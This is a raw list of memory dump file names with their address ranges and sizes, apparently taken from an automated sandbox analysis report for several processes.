memory/2360-112-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/2360-113-0x00000000022D0000-0x00000000022E0000-memory.dmpFilesize
64KB
-
memory/2360-114-0x00000000022D0000-0x00000000022E0000-memory.dmpFilesize
64KB
-
memory/2360-126-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/2820-57-0x0000000002420000-0x0000000002430000-memory.dmpFilesize
64KB
-
memory/2820-88-0x0000000004AB0000-0x0000000004AC4000-memory.dmpFilesize
80KB
-
memory/2820-59-0x0000000006CE0000-0x0000000006D12000-memory.dmpFilesize
200KB
-
memory/2820-58-0x000000007F660000-0x000000007F670000-memory.dmpFilesize
64KB
-
memory/2820-77-0x0000000007100000-0x0000000007196000-memory.dmpFilesize
600KB
-
memory/2820-78-0x0000000007080000-0x0000000007091000-memory.dmpFilesize
68KB
-
memory/2820-79-0x0000000002420000-0x0000000002430000-memory.dmpFilesize
64KB
-
memory/2820-80-0x0000000002420000-0x0000000002430000-memory.dmpFilesize
64KB
-
memory/2820-82-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/2820-83-0x0000000002420000-0x0000000002430000-memory.dmpFilesize
64KB
-
memory/2820-84-0x000000007F660000-0x000000007F670000-memory.dmpFilesize
64KB
-
memory/2820-60-0x0000000070610000-0x000000007065C000-memory.dmpFilesize
304KB
-
memory/2820-87-0x0000000004AA0000-0x0000000004AAE000-memory.dmpFilesize
56KB
-
memory/2820-74-0x0000000006EF0000-0x0000000006EFA000-memory.dmpFilesize
40KB
-
memory/2820-89-0x00000000071C0000-0x00000000071DA000-memory.dmpFilesize
104KB
-
memory/2820-90-0x00000000071A0000-0x00000000071A8000-memory.dmpFilesize
32KB
-
memory/2820-92-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/2820-38-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/2820-71-0x0000000006D40000-0x0000000006DE3000-memory.dmpFilesize
652KB
-
memory/2820-36-0x0000000002420000-0x0000000002430000-memory.dmpFilesize
64KB
-
memory/2820-70-0x0000000006D20000-0x0000000006D3E000-memory.dmpFilesize
120KB
-
memory/4056-139-0x0000000002DB0000-0x0000000002DC0000-memory.dmpFilesize
64KB
-
memory/4056-138-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/4056-218-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/4056-150-0x0000000002DB0000-0x0000000002DC0000-memory.dmpFilesize
64KB
-
memory/4608-29-0x0000000077211000-0x0000000077331000-memory.dmpFilesize
1.1MB
-
memory/4608-24-0x0000000009EE0000-0x000000000A55A000-memory.dmpFilesize
6.5MB
-
memory/4608-25-0x0000000006E80000-0x0000000006E9A000-memory.dmpFilesize
104KB
-
memory/4608-26-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/4608-23-0x00000000030D0000-0x00000000030E0000-memory.dmpFilesize
64KB
-
memory/4608-27-0x0000000006CD0000-0x0000000006CDE000-memory.dmpFilesize
56KB
-
memory/4608-22-0x00000000068F0000-0x000000000693C000-memory.dmpFilesize
304KB
-
memory/4608-21-0x0000000006810000-0x000000000682E000-memory.dmpFilesize
120KB
-
memory/4608-20-0x0000000006270000-0x00000000065C4000-memory.dmpFilesize
3.3MB
-
memory/4608-12-0x0000000006200000-0x0000000006266000-memory.dmpFilesize
408KB
-
memory/4608-28-0x00000000030D0000-0x00000000030E0000-memory.dmpFilesize
64KB
-
memory/4608-31-0x0000000009BE0000-0x0000000009DDA000-memory.dmpFilesize
2.0MB
-
memory/4608-9-0x00000000060E0000-0x0000000006146000-memory.dmpFilesize
408KB
-
memory/4608-37-0x00000000030D0000-0x00000000030E0000-memory.dmpFilesize
64KB
-
memory/4608-151-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/4608-8-0x00000000059C0000-0x00000000059E2000-memory.dmpFilesize
136KB
-
memory/4608-7-0x0000000005AB0000-0x00000000060D8000-memory.dmpFilesize
6.2MB
-
memory/4608-6-0x0000000003080000-0x00000000030B6000-memory.dmpFilesize
216KB
-
memory/4608-5-0x00000000030D0000-0x00000000030E0000-memory.dmpFilesize
64KB
-
memory/4608-4-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/4608-72-0x0000000077211000-0x0000000077331000-memory.dmpFilesize
1.1MB